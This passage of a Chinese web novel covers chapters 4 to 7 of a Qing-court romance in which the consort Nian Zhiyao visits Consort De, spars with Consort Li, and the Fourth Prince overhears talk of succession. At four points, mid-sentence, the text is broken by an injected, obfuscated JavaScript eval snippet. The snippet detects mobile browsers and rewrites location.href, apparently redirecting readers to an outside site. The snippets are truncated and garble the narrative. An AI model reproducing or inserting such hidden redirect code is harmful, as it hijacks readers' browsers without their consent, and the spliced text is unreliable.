福晋想起钮祜禄氏谨小慎微的模样,点了点头,再与世无争的女人,为了阿哥,也会争的。 东院里 年芷瑶正惊讶地看着四爷,“去给娘娘请安?我一个人进宫吗。” 四爷望着她紧张的模样,不由笑道:“害怕吗。” 年芷瑶不好意思地笑笑,“是有一些。” 她虽是雍亲王府的侧福晋,但其实要不要进宫里拜见娘娘其实没有定数,不过既然四爷说让她去,那便是要去。 四爷:“别怕,娘娘不是个爱难为人的性子。”提到自己额娘,四爷的眼里闪过一丝情绪,“本来去不去都可,只是爷恰好要去给皇阿玛请安,也好谢过皇阿玛的赐婚。” 年芷瑶听了四爷的解释,有些明白了,是要在皇上面前刷存在感啊,虽说四爷现在明面上是什么都不争的状态,但也得让皇上记得有他这个儿子啊,不然真成像十三爷一般的透明人,那可真是没地哭去了。 她也是嫁了四爷之后才知道,如今的十三爷是真的不好过,日常生活全靠四爷接济,皇上不见他,内务府也当没有了这个皇阿哥,一应供奉都给停了,左右十三爷已遭皇上厌弃,还能去圣上面前告内务府今年没给他发分例不成。 今年连四季的衣裳都是四爷从府里的分例拨过去的,可见府里的日子有多难过,之前还只是听说,如今见了才觉得什么叫心惊胆战。 这就是皇权吗,年芷瑶不禁抖了抖。 她看向四爷:“有爷在,我不怕。”不论是年家,还是她,都已经赌上了自己的全部,只能进不能退了。 四爷碰了碰她的脸:“好姑娘。” 她借机蹭了蹭四爷的手腕,看他的眼神变得不对,急忙转身道:“爷,快吃饭吧,一会菜都凉了。” 四爷的眼睛暗了暗,压了压心中烧起来的火,想起活泼的年氏,也觉得自己莽撞,这么多年的养性功夫,竟然会被一个小女子轻易打破了。 用过午膳后,四爷没在东院消磨时间,而是起身去了前院。 苏培盛跟在屁股后面,只觉得爷今日走得越发的快,难不成前院有什么急事,他没听说啊。 看到四爷离去,年芷瑶舒了一口气,只觉得四爷轻易撩拨不得,这青天白日的,就想行不轨之事,他们在谈的明明是正事好不好。 她挥了挥手让白芷带着人下去,“我去午睡,等一个时辰再叫醒我。” 白芷福身道:“是。” 采芙有些迟疑:“白芷姐姐,咱们让主子一个人在屋里,是不是不大好。” 白芷摆了摆手:“主子在家时就不喜欢别人打扰,我们在外面等着主子叫便好。” 采芙点了点头:“多谢白芷姐姐教我。” 白芷笑道:“你既伺候了主子,就是我们东院的人,不必这么客气。” 独自一人的年芷瑶正躺在床上查看灵泉,她的灵泉不大,周遭都是光秃秃的,只有一个不会干涸的小泉眼在中间,不断地往外冒着泉水的。 当时她刚发现自己有灵泉的时候大喜过望,本以为是什么修仙至宝,说不定能一举踏入修真旅途,后来发现灵泉并无他用,只能用来改善体质,好像只是为了弥补她身体的不足之症。 不过年芷瑶已经十分满足了,毕竟不是所有人都有重活一次的机会,还能后天拥有一个健康的身体。 她用杯子接了一杯灵泉水喝了下去,口感清甜冷冽,然后便美滋滋地午睡了。 只是在前院午睡的四爷心情却不怎么美丽,他起床抄了两遍金刚经。 在书房伺候的苏培盛更是小心谨慎,主子爷只有在心烦的时候才会抄经,只是不知何人要倒霉了。 因要进宫拜见娘娘,四爷特意派了一个嬷嬷来教她宫里的礼仪。 虽说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041184|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年芷瑶在家中也跟着教养嬷嬷学过,但教养嬷嬷毕竟已经出宫几年了,宫里的规矩也不知有没有变化,多学学也没什么不好的。 况且这也是四爷的贴心,对宫里多熟悉熟悉,就不会那么紧张了。 嬷嬷姓白,是四爷府里伺候的老人了,倒是十分规矩。 年芷瑶笑着让她起身:“辛苦嬷嬷了。” 白嬷嬷低头:“侧福晋客气了,能伺候侧福晋是奴才的福气。” 年芷瑶笑了笑,没把她的话当真,这嬷嬷是伺候四爷的,教过她一阵也就回去了,双方客客气气地全了这段教导之谊就好。 钮祜禄氏的院子里,春桃掀开帘子进门,刚想开口,就看到格格正在给四阿哥打扇子,她犹豫了片刻。 钮祜禄氏看她:“有什么事,说吧。” 春桃轻声道:“格格,奴婢听说四爷赏了年侧福晋一个嬷嬷,好像是在学宫里的规矩,您说这是为了什么啊。” 钮祜禄氏:“学宫里的规矩自然是要进宫才能用得上。” 春桃咋舌:“那侧福晋岂不是要进宫谢恩。” 钮祜禄氏打扇子的手停了停,“她是侧福晋,又得圣上赐婚,进宫谢恩也是应该的,不可多嘴。” 春桃福身:“是,奴婢妄言了。” 她脸上闪过一丝可惜,她们格格生了四阿哥,又是满族大姓,若是进府早,说不得也能被抬为侧福晋呢,不像现在,只能住在这小小的院子里。 钮祜禄氏看着四阿哥熟睡的小脸,抬手摸了摸。 四阿哥睁了睁眼:“额娘。” 钮祜禄氏语气温柔:“额娘在呢,快睡吧。” 不知是不是四爷自小没长在亲生额娘身边的缘故,故而对母子情分十分看重,府里的阿哥们都可以在自己额娘身边长到六岁,再搬进前院,是以她有如此福分,可以自己抚养阿哥。 对于如今正风头正盛的年侧福晋,钮祜禄氏现下不准备做什么,往后的日子还长着呢,别的不说,如今最感到威胁,应该是李侧福晋不是吗。 李氏也收到了消息,她愤恨地摔了茶盏:“凭什么那个年氏能进宫谢恩。” 琥珀劝道:“主子消消气,不过是进宫拜见娘娘,算不得什么,您可千万别冲动。”主子和四爷虽说还算有些情分,但这些年,主子的宠爱早已日渐稀薄。 若是为了这点小事闹到四爷面前,那这点情分可真是要消耗干净了。 李氏紧紧地捏住了手中的帕子。 5. 第 5 章 白芍欣喜地走了过来:“主子,衣服都做好了。” 年芷瑶挑眉:“这么快。” 白芍笑道:“是呢,主子爷赏的那批衣料送到针线房时,那里的嬷嬷别提多殷勤了,说会最先做咱们的,这不就送来了。” 白芷上前抚了抚衣料,笑道:“针线房的人手真巧,主子瞧这料子,做成衣服更好看了,明日进宫要不要穿这件。” 年芷瑶微微摇头:“找件新做的便可。”她是去拜见婆婆的,又不是进宫选妃的,穿得这么招摇做什么。 见她兴致缺缺,白芷也冷静了下来,“是奴婢考虑不周了。” 年芷瑶:“无妨,你做事素有分寸,院子里的那几个你看如何。” 白芷:“奴婢这几日看着,采芙和采蕖做事都算踏实,奴婢打听着,这两人都是内务府新分下来的,之前没伺候过旁人。” 年芷瑶点了点头:“日久见人心,院子里若是有什么事,不妨让她们做做看。” 白芷稳重地道:“是。” “主子,您上次说的牛乳糖,小厨房已经做出来了,可要尝尝。” 年芷瑶来了兴趣:“呈上来吧。” “是。” 前些日子她突然想吃牛轧糖了,想了想好像也不难做,就给小厨房说了大概的做法,让他们试着做出来,虽然没有棉花糖,但用麦芽糖也能做出来。 牛轧糖很快就被盛了上来,白色的糖衣里裹着满满的花生,看着就好吃,一起被端上来的还有瓜子酥,芝麻糖,琥珀糖,满满当当地摆了四个盘子。 年芷瑶拿起一块小厨房做的牛轧糖咬上一口,满嘴的牛乳香和花生的香味,味道果真不错。 她想了想,“一会拿些给前院送去。”前几日用膳时,她就发现了,四爷喜欢口味偏甜,不知道会不会喜欢这种糖。 对待四爷,年芷瑶用的是谈恋爱的心思,简单来说,就是什么好吃的好玩的都想着他,分享给他,只说好事,不谈坏事,两人的相处也算是越发和谐起来。 白芷笑道:“是,奴婢一定亲自交到苏公公手里。” 掐着午膳的点,苏培盛就来了东院,“奴才给侧福晋请安。” 年芷瑶:“苏公公快起,可是爷那边有什么吩咐。” 苏培盛笑道:“侧福晋放心,主子爷无事,只是让奴才送来一件东西。” 他拍了拍手,身后跟着他的小徒弟李德福走了上来,打开了手里的紫檀木盒子。 年芷瑶定睛一看,里面摆着一串鎏金点翠步摇,和两个翡翠蝴蝶钗,流光溢彩,好不耀眼。 白芷忍不住叹道:“真好看。” 苏培盛忍不住低头,能不好看吗,这可是主子爷特意挑的,不过既得了主子爷宠爱,那有好东西都不算稀奇。 年芷瑶:“多谢公公了。” 晚间,四爷来了东院。 “午时送来的首饰可喜欢。” 年芷瑶点头:“喜欢。” 四爷抚了抚她的发:“爷看你的首饰还是从家里带来的那些,就为你挑了两个,等见娘娘的时候正好戴上。” 年芷瑶靠在四爷身上:“爷对我可真好。” 四爷失笑:“傻丫头,不过是几件衣服首饰,就是对你好了,难不成年大人还苛责你不成。” 他说完后,又仔细看了看怀中的人,只见她面色红润,眉目舒展,怎么都不像是被苛责的,这才放下了心。 年芷瑶抱住四爷的腰晃了晃,“要紧的不是衣服首饰,是爷待我的心意,衣裳首饰府里每月都有分例,可爷却记着我没有什么,这份心意难道不值得珍惜吗。”她抬头冲他笑道。 四爷手指顿了顿,轻轻叹了一口气,揽过她道:“傻丫头。” 这般好的傻丫头,竟让他给得了,生平头一次,四爷觉得自己在这世上,其实也是有上几分幸运的。 第二日一早,天还未亮,年芷瑶就被白芷从床上拽了起来。 “主子醒醒,今日要进宫拜见娘娘呢。” 年芷瑶揉了揉眼睛:“爷呢。” “主子爷已经起了,正在外间呢。” 白芷边说边取来热毛巾为她擦脸,年芷瑶一下子就清醒了,这丫头,越发能干了。 用过早膳,她便和四爷一同坐进了马车。 四爷拍了拍她的手:“到了宫里,爷要先去拜见皇阿玛,不必紧张,引路的小太监爷已经打点好了。” 年芷瑶点了点头:“爷放心。” 马车停在了宫门口,四爷扶年芷瑶下车,到了这儿他们就只能走进去了,除了紫禁城的主子们,谁也没有这份殊荣能在里面坐轿子。 四爷嘱咐她道,“等爷给皇阿玛请完安便去永和宫找你。” 年芷瑶冲四爷笑道:“好,我等着爷。” 一旁的小太监笑得客气:“侧福晋跟奴才走吧。” 年芷瑶递了一个荷包过去:“劳烦公公了。”虽说四爷交代已经打点好了,但礼多人不怪,出门在外,还是大方些好。 果然,小太监笑得越发真情实感,领着她在宫墙下行走,“这里人多,侧福晋慢些。” 年芷瑶看着周围来来往往的宫女太监,只觉得在这紫禁城之中,她和他们并没什么不同。 到了永和宫,德妃身边的嬷嬷出门迎她,“给侧福晋请安。” 年芷瑶连忙扶她:“嬷嬷客气了。” “侧福晋请随奴婢来。”嬷嬷将她引到偏殿,笑道:“侧福晋先在这稍等片刻,奴婢这就去禀告娘娘。” 年芷瑶明白,这是给她时间整理仪容,免得面见娘娘时形容不雅,宫里果然都是人精啊。 过了一刻钟,年芷瑶终于踏入了永和宫的正门,刚一进门,她便行了礼,“儿臣给额娘请安。” 而后一道优雅的女声传来:“起吧,赐座。” 年芷瑶抬头:“多谢额娘。” 虽说有了座位,可年芷瑶也没敢坐实,只敢坐了椅子的三分之一,方便随时起身回话,这也是嬷嬷教的规矩。 德妃看了看年芷瑶,笑道:“真是个美人,老四倒是有福气。” 年芷瑶听到德妃夸她,微微抬头,本想说些自谦的话,却一时愣在了原地,都说岁月不败美人,见了德妃她才明白这话原来是真的,德妃坐在上首,虽能看出眼前的女人有了年纪,但温婉的气质,姣好的容貌,都在为她诉说,年轻时,她是多么令人惊艳的美人。 德妃见儿子新娶的侧福晋在底下明目张胆地发呆,挑了挑眉道:“想什么呢。” 年芷瑶想了想,决定实话实说,“儿臣在想怪不得四爷长得如此好看,今日一见娘娘才明白,原来四爷是随了娘娘。” 女人不论什么年纪都喜欢被人夸赞,尤其是这般不露痕迹地夸她好看,德妃眼里泛起笑意:“你这孩子,嘴倒是甜得很,怪不得老四喜欢你呢。” 年芷瑶:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041185|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘娘明鉴,儿臣可不敢有半句妄言。” 没有妄言,就是说都是肺腑之言喽,德妃隔空点了点她,真是个小滑头,老四日后和这丫头可有地磨了。 德妃身边的福嬷嬷有些惊讶,给娘娘请安的福晋侧福晋们不知道有多少,可像这位年侧福晋这般能如此自在和娘娘说话的,几乎没有。 年芷瑶在永和宫用了两块点心,换了两盏茶,四爷都没有过来,她看了看天色,心道,若是四爷再不回来她都要留在永和宫这用午膳了。 德妃看了看她的神色:“放心,老四不会把你忘了的。” 年芷瑶接话道:“若是能一直留在这里陪娘娘,每日喝茶吃点心,不回府里也是可以的。” 德妃不禁笑了起来:“这丫头,你想留在这陪我,我还不愿意的,快去催催,看看老四到哪了,让他赶紧把他的侧福晋带走。” 等四爷走到永和宫,便听到了屋里传来的额娘笑声,他不禁疑惑,额娘什么时候这般笑过,是因为年氏吗。 他快步进屋,行礼道:“儿臣给额娘请安。” 见了儿子,德妃脸上的笑容莫名地淡了一些,变得端庄正式起来,“快起,累了吧。” 她看向福嬷嬷:“快上些茶水点心来。” 四爷:“劳烦额娘了,儿臣不累。” 年芷瑶见了不禁称奇,这对亲母子,未免太客气了一些吧,怎么感觉四爷在德妃面前还没她自在呢。 坐上回府的马车后,四爷才开口问她,刚才和娘娘聊了什么。 年芷瑶:“我说爷长得像额娘,额娘便笑了。” 四爷愣了愣。 年芷瑶看了看他:“爷,我是不是说错话了。” 四爷摇头,“并非。” 他顿了顿,“只是头一次,爷听见别人说我与额娘相像。” 年芷瑶有些沉默,对于早些年的事她也听说过,四爷生下来后就被孝懿皇后抱走抚养,这些年德妃从宫女晋为贵人,又从贵人晋为嫔,最后成了德妃。 后来孝懿皇后去了,四爷又回到了永和宫,只是那时德妃已经有了十四阿哥,比起刚刚出生的小儿子,对于自幼被抱走的大儿子的关注自然少了。 想必四爷也经历过吧,年幼时对自己身份的质疑。 一时之间,两人谁都没有先说话。 四爷仿佛知道她在想什么,反而安慰起她来:“都是过去的事了。” 年芷瑶握住了四爷的手,“爷现在有我呢。” 童年的伤痛有多难抹消她最是知道,年幼时她父母离婚,谁都不想要她,把她扔给了乡下的爷爷,可爷爷有最爱的孙子,有心爱的女儿,她这个不被重视的孙女只能像是废弃品一样丢在一旁。 她一直都想有一个属于自己的家,所以才会在毕业之后那么努力地工作,想要付首付,谁知却猝死了工位上,她微微叹了一口气, 四爷反握住她的手:“是呢,爷还有瑶儿。” 永和宫 福嬷嬷替德妃换了盏茶,“这位年侧福晋倒是和旁人不同。” 德妃笑道:“这孩子倒是鲜活,老四身边有她,我也能放心些。” 福嬷嬷心中了然,娘娘这是喜欢这姑娘,她最是知道娘娘的心结,便劝道:“亲母子之间哪来的隔夜仇,四爷会明白娘娘的不得已的。” 德妃叹了口气,“但愿吧。”她的不得已,只怕在老四看来只是她丢下他的借口罢了。 6. 第 6 章 从永和宫回来后,年芷瑶感觉和四爷的关系好似又亲近了一些,虽没有明说,但两人之间的相处是骗不了人的,尤其是对于身边的人。 白芍都说最近苏培盛对她越发客气了,客气的她都有些害怕,生怕哪天就被主子爷身边的第一大公公给卖了,惹得白芷笑了她半天。 白芷道:“这都是因着咱们主子得主子爷的宠,你可别狂。” 白芍道:“我哪敢啊。”能当主子爷身边的大太监那得是什么人精,她算哪根葱啊,也敢仗着主子的势给他脸色看。 年芷瑶看着两人笑了笑。 今天是十五,又是请安的日子,年芷瑶一大早就从床上爬起来,自然是满腹怨气,她轻轻瞪了四爷一眼。 四爷被她一看,脸色微顿,说道:“要不你再睡会,爷派人去正院说一声。” 年芷瑶无奈道:“我的爷,您可饶了我吧,我起床还不行吗。”让四爷去福晋院子里说她今早不去请安了,因为她昨夜太辛苦? 那后院的女人得把她恨成什么样啊,占着四爷也就罢了,还挑衅到人家眼前了,要换作是她,她也忍不了。 四爷笑着摸了摸她的发:“晚上爷再过来。” 年芷瑶无力地挥别了四爷,算好时间来了正院,正好比李氏稍晚一步到。 看见她来,几位格格起身,“给侧福晋请安。” 年芷瑶摆了摆手:“起吧。” 然后给李氏到了个平礼,“姐姐来得倒是早。” 李氏皮笑肉不笑:“姐姐不比妹妹伺候爷辛苦,自然要早些来给福晋请安。” 年芷瑶没理会李氏的阴阳怪气,主要是她现在一听辛苦二字就想笑,毕竟这人差点只能咬牙赞她辛苦了。 她闻了闻福晋这儿的茶,是新下的西湖龙井,倒是好茶。 身旁的耿氏开口道:“不知侧福晋帕子上绣的是什么花,妹妹还从没见过呢。” 年芷瑶笑了笑,“是嘛,这上面绣的是金盏花,是我院子里的采蕖绣的,妹妹若是喜欢,我回头让人把花样子给你送去。” 耿氏模样娇俏,说话也伶俐,在后院众人中算得上话多的了,但却极有分寸,从不会逾矩,她倒是不讨厌耿氏。 耿氏欣喜道:“那就多谢侧福晋了。” 一旁的李氏脸色难看,“耿妹妹,一个帕子算什么,年妹妹身上的衣料才是难得,听说是进贡之物,府里一共也没得几匹,都被爷赏给年妹妹了,你要东西,也该要贵重些的。” 耿氏的笑容淡了淡,只觉得李侧福晋太过烦人,她能不知道年侧福晋的料子是爷赏的吗,只是不想显得太过献媚讨好才谈起手帕,李侧福晋年轻时还能凭借长相孩子得宠,如今确实越来越刻薄了,怪不得爷对她的宠爱越发淡薄。 年芷瑶抚了抚衣袖:“李姐姐若是喜欢,合该早说便是,妹妹也好留下几匹送给姐姐,如今这衣裳都做好了,只怕姐姐穿着不合适,不过爷也说了,不过是些料子,不值得什么,李姐姐何必这么含沙射影的,若是想要,妹妹替姐姐向爷开口便是。” 李氏拍桌而起:“你。” “吵什么呢。”福晋走了出来,看了李氏一眼,“李氏,你也是府里的老人了,如此吵吵闹闹的像什么样子,若是让外人知道了,不定会传出什么闲话呢。” 李氏暗恨,可如今到底是在福晋的正院,她只能低头道:“福晋教导的是。” 年芷瑶看着出来的不早不晚的福晋,低头笑了笑。 福晋看了看众人,开口说道:“再过几日便是端午,爷虽不喜奢靡,但也不能太过俭省,到时府里会举办家宴,还望各位妹妹出席。” “是。” 福晋:“行了,我这也没什么事,都回去吧。” 众人起身告退。 李氏回到院子后便发了火,“她算什么东西,也敢这么和我说话,我获封侧福晋的时候她还不知道在哪呢。” 琥珀跪倒在地:“主子息怒。” 李氏将茶杯扔了出去:“息什么怒,自打那年氏进府之后,爷就再也没来过我的院子,如今她就敢出言讥讽于我,等她生下了孩子,还不定狂成什么样呢。” 琥珀劝道:“主子宽心,那年侧福晋即便现在就怀孕生子,那也与咱们三阿哥差着岁数呢,三阿哥翻过年就十岁了,再过两年就该找宫女教导人事了。” 她低声道:“况且咱们三阿哥是主子爷的长子,如今又在宫里读书,王府世子的位置非三阿哥莫属啊。” 想到儿子,李氏冷静了下来:“是呢,世子之位若不给我的弘时,难道给那个牙牙学语的四阿哥,五阿哥吗。”年氏那个没影的孩子更没有任何指望。 见主子不再打骂,琥珀舒了一口气,主子进府后就一路顺风顺水的,年轻时便凭借容貌得宠于四爷,生下不少孩子,故而性子越发骄纵,后来主子逐渐失宠,脾气更是越发不好起来。 她揉了揉肩膀,轻轻退了下去,同屋的玛瑙看她脸色不对,问道:“主子又打你了。” 琥珀按住衣袖:“不妨事,主子心情不好,过上两天便好了。” 玛瑙心疼地擦了擦泪,“主子心情不好,就该打骂我们出气吗,谁不是爹生娘养的,难道我们做奴才的,命就比旁人更贱吗。” 琥珀看她:“噤声。” 玛瑙不说话了。 年芷瑶回了东院,就看到白芍端了一盘子樱桃过来。 她惊讶道:“哪来的樱桃。”如今还不到五月,樱桃成熟应该是下个月才对。 白芍笑道:“这是刚才苏公公送来的,说是南边下来的最早一批樱桃,今早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041186|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府里刚收到,爷就让送到咱们院子了。” 年芷瑶拎起樱桃看了看,个头不是很大,但每个都红彤彤的,看着就喜人。 四爷一进来,就看到桌子上摆着洗好的樱桃,笑道:“怎么没吃,不喜欢?”他记得瑶儿之前说过自己爱吃,他才特意让人才采买的。 年芷瑶笑道:“喜欢,想等爷回来一起吃。”她过去牵住四爷的手:“我怕我先吃了,爷就吃不着了。” 四爷拍了拍她的头:“放心吃便是,樱桃有的是。” 用过晚膳,四爷搂着她躺在贵妃榻上,年芷瑶发现和四爷在一起,很容易坐着坐着就躺下了。 还好这个贵妃榻够大,能够装得下他们两个人,她有一下没一下地玩着四爷衣服上的纽扣。 四爷捉住了她的手:“又胡闹。” 年芷瑶笑:“爷,这算不算是不务正业啊。”她听采芙说,之前四爷也不爱在后院待着,如今在她这倒成了特例。 好像前院都没什么事一样,她都开始怀疑是不是这段时间的四爷赋闲在家太久了,故而登基后才会越发勤政的。 四爷笑道:“这算什么不务正业。”不过是后院待上几天罢了,说不定皇阿玛看他这样,还能更放心些呢,他的笑容淡了淡。 “左右现在也没什么事,等过些日子,爷带你去圆明园玩一玩。” 年芷瑶的眼睛亮了起来,“真的吗。” 四爷捏了捏她的脸:“爷还会骗你不成,怎么开心成这样,年大人没带你出过门吗。”不应该啊,亮工曾和他提过,说他这个妹妹在家中最得宠爱,即便是他,也得避让妹妹三分,想起当时亮工谈论妹妹时引以为傲的笑容,四爷只觉得缘分当真是妙不可言。 年芷瑶握住他的手:“一般的园子怎么能和圆明园比,那可是皇上赏的园子,一定很好看。”那可是圆明园啊,没想到穿越一遭,她还能见识一番真实存在着的天下第一园。 四爷失笑,是啊,因为是皇上赏的,即便是普通的也是好的。 他问道:“会骑马吗。” 年芷瑶摇头:“不太会。”她想了想道:“小时候我的身体不是很好,额娘十分担心,长大后身体好些了,额娘也不准我学骑马。” 四爷听了,起身看她,“怎么会身子不好。” 年芷瑶看他担心,拉过他的手:“爷,这都是小时候的事了,如今我身体早已大好了。”她在四爷面前转了一圈,“爷你看看,现在不是好得很嘛。” 四爷一把抱起了她,然后掂了掂,“等明日让李大夫过来给你看看。” 李大夫是四爷养在府里的大夫,年芷瑶听采芙说起过,说李大夫最擅长小儿妇科,很得四爷信任。 年芷瑶看劝不动他,只能答应道:“好吧。”就当作个体检好了。 7. 第 7 章 四爷的效率非常高,年芷瑶刚用过早膳,白芷就来传话说苏培盛带着李大夫过来了。 年芷瑶点头:“让他们进来吧。” 李大夫看起来经验颇丰,他捋了一下胡子,十分仔细地替她把脉。 “侧福晋脉象平稳有力,身子十分康健。” 他微微舒了一口气,放松下来,今儿个一早,他就被四爷身边苏公公喊了过来,说是要替新进府的年侧福晋把脉,他还以为是这位侧福晋身子出了什么状况呢,若是涉及到后院阴司,只怕他也跟着遭殃啊,还好什么事都没有。 年芷瑶笑了笑,看向苏培盛,“行了,快去给你们爷回话去吧。” “唉。”苏培盛赔着笑,“那奴才就先告退。”他利索地打了一个千儿。 主子爷晨起可是嘱咐过他,有什么消息就立刻给回禀,若不是今早顾俨大人突然来了,和四爷有事相商,爷实在抽不开空,不然早就亲自过来看着呢。 他伺候主子爷这么多年,要论对这位年侧福晋的心意,可真是独一无二呢。 正院 福晋正在小佛堂抄写经书,“今日可是三阿哥回府的日子。” 赵嬷嬷:“是呢,还是福晋记得清楚。” 福晋搁下笔,“三阿哥每日读书也实在辛苦,今日回来,四爷也该去看看三阿哥了。” 四爷一向疼爱孩子,每每三阿哥回府的时候,即便再忙,也会抽空考校三阿哥的功课,只是自从上次三阿哥被四爷斥责不用功后,四爷就再没进过李氏的院子。 赵嬷嬷扶着福晋起身,“福晋说的是。” 只是三阿哥着实是不争气,若是她们大阿哥还在,定不会让爷如此失望。 屋外的牡丹掀开帘子进来,神情有些激动:“福晋,四爷过来了。” 说完,四爷就大步走了进来。 福晋行礼道:“爷。” 四爷挥了挥手让她起身,坐到了八仙桌旁,一旁的牡丹连忙上了热茶。 “快到端午了,我寻一块上好的玉牌准备送给娘娘,到时你盯着些。”四爷端起茶道。 福晋答应下来:“是,那万岁那边呢。” 每到年节,送礼之事便成了府上的一大难题,宫里皇上娘娘什么好东西没见过,送得再贵重稀奇也只是平常,可若是不用心准备也是不行,说不得一个不孝的帽子就被人安了下来。 四爷:“皇阿玛那里爷来准备。” 福晋点头称是。 等四爷说过正事,福晋开口道:“爷,今年端午的家宴我想办得热闹一些,正好今年是年妹妹头一年进府,三阿哥也常年不在府里,与两位弟弟也不怎么熟悉,借此热闹一番也好的。” 四爷沉吟,“福晋做主便可。” 福晋低头:“是。” 而后是半晌沉默,一旁的赵嬷嬷有些着急,都这个时辰了,福晋您倒是留爷用膳啊。 可直到四爷起身离去,福晋愣是没有开口。 看着四爷从正院离开,赵嬷嬷跺了跺脚:“福晋,您倒是留一留四爷啊。” 福晋收回视线:“我开口,四爷便会留下吗。” 赵嬷嬷无奈,她的福晋呦,四爷就算一次不留,两次不留,三次四次还会不留吗,她想劝劝福晋,在四爷面前软软性子,却知道福晋不会听她的。 她叹了口气,自从没了大阿哥之后,四爷和福晋连往日的表面情分都快维持不住了,四爷也只会在聊正事的时候才会来正院这。 其实在年侧福晋没进府之前,四爷已经不大爱踏足后院了,想必正因如此,皇上才会下旨赐婚的吧。 没有理会赵嬷嬷的担忧,福晋抬头看了看天色,四爷今日应该会去李氏那用午膳吧。 西院,李氏正忙着张罗:“今儿个是弘时回来的日子,可让膳房备下了炖肉。” 琥珀道:“主子放心,三阿哥爱吃的菜一早就交代膳房备下了,不会有差错的。” 三阿哥是四爷府里唯一长到读书年龄的儿子,又是长子,故而从六岁起,便一直跟着其余府里的皇孙在宫里上书房念书,万岁规定皇孙们每十日可回府里休息两日,是以李氏已经有十天没见三阿哥了。 李氏点头:“弘时每次从宫里回来都说饿,还是皇宫呢,竟不让孩子吃饱。” 宫里规矩严,阿哥们每顿能吃多少肉都是有定数的,就怕吃多了坏了小主子的胃口,可是半大小子吃穷老子,三阿哥这般年纪正是能吃的时候,在宫里连肉都吃不尽兴,回府可不就得喊饿吗。 三阿哥一院子,就直奔李氏冲了过来:“额娘。” 李氏激动道:“额娘的弘时,到额娘身边来。”许久未见,李氏仔仔细细地打量自己的儿子,“在宫里过的可好。” 弘时皱眉:“宫里一点都不好,额娘,我可不可以不去宫里读书啊。” 李氏拍了拍他,“说什么胡话呢,你要在宫里好好结交其他府里的阿哥,认真读书,得到皇上的喜欢才是。” 看着弘时漫不经心的样子,李氏就气闷,她抱怨道:“你是不知道,那新进府的年氏狂妄不羁,平日里处处和额娘作对,你阿玛都快被那个狐媚子迷跑了,你要是再不争气,这府里就没有我的容身之地了,额娘如今只能指望你了。” 三阿哥仰头冷哼,“她算什么,也敢给额娘气受,额娘等着,儿子定要在阿玛面前告她的状。” 三阿哥心里颇为自傲,尤其是府里众人都捧着他,连素来与额娘不合的嫡额娘对他都是客客气气的,在他看来,他既然是阿玛的长子,那就是王府未来的主人,谁敢给他额娘气受,就是不把他放在眼里。 李氏还算有些脑子,知道儿子若是在四爷面前说年氏的不好,定会让他更生气,她道:“这都是后院的事,你别跟着掺和,你只要好好用功,得到你阿玛的喜欢,日后这府里还都是你的,还怕没有年氏低头的那天吗。” 三阿哥不耐烦地摆了摆手,“我知道了额娘,等来日儿子成了世子,定会为你撑腰的。” “午膳还没好吗,我都饿了。” 门外的四爷沉下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041187|162535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了脸,他还没死呢,他的儿子就惦记上王府了,一个王府世子的位置,也值得两人谋划半天,他简直是怒火中烧,但凡弘时有点野心,往上看看,他都不至于那么生气。 李氏平日里就是这样教阿哥的。 一旁的苏培盛简直要把头低到了地上,恨不得求一对什么都没听到的耳朵,早知道李侧福晋的胆子如此之大,他说什么今天都得告病,让张麒麟过来伺候,也省得那人天天在他跟前碍眼。 想到近日越发得主子爷看重的张麒麟,苏培盛简直要把后槽牙都咬碎了。 东院,年芷瑶看着怒气冲冲进来的四爷,惊讶地道:“爷。”你怎么来了。 白芷刚过来说过,看着四爷往李氏院子的方向去了,想必是去看三阿哥的,怎么如今看着像是气着了,是三阿哥又看闲书了? 四爷一股脑地坐在了椅子上,他也不知道自己怎么过来了,只是出了李氏的院子,他下意识地就往这边走了过来。 苏培盛噤若寒蝉。 一旁的白芷也吓得不行,年芷瑶连忙把她支了出去,免得出了错被四爷训斥就不好了。 “小厨房今儿个不是新做了酸奶吗,去拿两碗过来。” 白芷低头:“是。” 